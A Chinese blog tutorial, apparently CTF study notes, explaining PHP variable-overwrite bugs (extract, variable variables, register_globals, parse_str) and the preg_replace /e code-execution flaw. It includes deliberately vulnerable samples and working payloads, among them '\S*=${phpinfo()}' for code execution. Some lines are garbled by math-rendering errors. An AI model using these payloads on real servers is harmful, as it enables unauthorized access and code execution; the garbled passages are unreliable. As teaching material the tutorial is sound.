变量覆盖和正则表达式/e漏洞
变量覆盖和正则表达式/e的漏洞
变量覆盖:extract(),parse_str()和import_request_variables()
第一种:extract()函数
精简代码如下:
<?php
include("secret.php");
?>
<?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
<?php
extract($_POST);
if ($pass == $thepassword_123) { ?>
<div class="alert alert-success">
<code><?php echo $theflag; ?></code>
</div>
<?php } ?>
<?php } ?>
如代码所知,我们的目的是需要pass=thepassword_123,但是我们并不知道thepassword_123,但却有一个extract,这个函数是从数组中将变量导入到当前的符号表,因此我们可以利用变量覆盖
传入pass和thepassword_123,
payload:pass=3&thepassword_123=3
第二种:
精简代码如下:
<?php
$a='aaa';
$aaa='xxx';
echo $$a; //$$a=$($a)=$(aaa)='xxx'
?>
输出的是xxx
第三种:全局变量覆盖
当register_global=ON时,
<?php
echo "Register_globals: ".(int)ini_get("register_globals")."<br/>";
if ($auth){
echo "private!";
}
?>
此时如果提交url?auth=1,那么会打印出:
Register_globals:1
private!
注意:如果auth的初始值是0,那么即便url?auth=1也不会打印出private
由于$GLOBALS获取的变量,可能导致变量覆盖
<?php
echo "Register_globals:".(int)ini_get("register_globals")."<br/>";
if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k});
print $a;
print $_GET[b];
?>
由于变量a并未初始化,所以在register_globals=ON时,传入url?a=1&b=2,会因这段代码出错,
但是如果传入url?GLOBALS[a]=1&b=2则可以成功输出变量a的值,这是因为unset默认只会销毁局部变量,
要销毁全局变量必须使用GLOBAL
第四种:遍历初始化变量
常见的一些以遍历的方式释放变量的代码可能会导致变量覆盖
<?
$chs = '';
if($_POST && $charset != 'utf-8'){
$chs = new Chinese('UTF-8', $charset);
foreach($_POST as $key => $value){
$$key = $chs->Convert($value);
}
unset($chs);
}
?>
若提交参数的值是chs,则可覆盖变量chs的值
第五种:import_request_variables变量覆盖
<?php
$auth = '0';
import_request_variables('G');
if($auth == 1){
echo "private!";
}else{
echo "public!";
}
?>
当传入url?auth=1时,网页上会输出private
而import_request_variables(‘G’); 函数是指从导入GET请求的变量,如果禁用了register_globals,但是又想用一些全局变量可以考虑这个函数
第六种:
parse_str()变量覆盖
//var.php?var=new
_SERVER[‘QUERY_STRING’]);
print $var;
跟之前的extract很像,不过这个函数是将字符串解析为多个变量,类似的函数还有mb_parse_str()
经典问题:正则表达式,/e漏洞,原文章:https://xz.aliyun.com/t/2557
首先,先了解一下:
1、/g 表示该表达式将用来在输入字符串中查找所有可能的匹配,返回的结果可以是多个。如果不加/g最多只会匹配一个
2、/i 表示匹配的时候不区分大小写,这个跟其它语言的正则用法相同
3、/m 表示多行匹配。什么是多行匹配呢?就是匹配换行符两端的潜在匹配。影响正则中的^$符号
4、/s 与/m相对,单行模式匹配。
5、/e 可执行模式,此为PHP专有参数,例如preg_replace函数。
6、/x 忽略空白模式。
此时,/e为可执行模式,就可导致代码执行,案例如下:
第一个和第三个参数都可控,第二个参数被固定为:strtolower("\1"),正则表达式相当于eval(‘strtolower("\1");’),当中的\1实际上就是\1,\为转义,而\1在正则表达式中有自己的含义,
反向引用:
对一个正则表达式模式或部分模式两边添加圆括号,将导致相关匹配存储到一个临时缓冲区,每个子匹配都按照正则表达式从左到右出现的顺序存储。
而这里的\1实际上指定的是第一个子匹配项,官方payload为:/?.*={KaTeX parse error: Expected 'EOF', got '}' at position 12: {phpinfo()}}̲ 即get方式传入的参数名为/…{phpinfo()}}
那么原先的语句:preg_replace(’/(’ . $regex . ‘)/ei’, ‘strtolower("\1")’, KaTeX parse error: Expected '}', got 'EOF' at end of input: …ower("\\1")', {{phpinfo()}});
然而,如果直接将以上payload写入代码里面,是可以执行phpinfo(),但是
.*是通过get方式传入,通过url之后,.*会变成_*,
非法字符不为首字母的情况下,php会将 (空格),+,.,[,_替换成下划线
因此payload: \S*=${phpinfo()} (注意前面有个空格)
对于为什么要匹配{${phpinfo()}} 或者 ${phpinfo()} 才能执行phpinfo函数,实际上是因为php可变变量(关于可变变量的事情我好像咕咕咕了很久)
在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。
${phpinfo()} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} (phpinfo()成功执行返回true)。
var_dump(phpinfo()); // 结果:布尔 true
var_dump(strtolower(phpinfo()));// 结果:字符串 '1'
var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}'));// 结果:字符串'11'
var_dump(preg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}'));// 结果:空字符串''
var_dump(preg_replace('/(.*)/ie','strtolower("{${phpinfo()}}")','{${phpinfo()}}'));// 结果:空字符串''
这里的'strtolower("{${phpinfo()}}")'执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串
总之:
反正遇见preg_replace(’/(’ . str);这样的代码可以考虑payload: \S*=${phpinfo()}’
上一篇: 简单的sql注入问题
下一篇: SQL注入的简单例子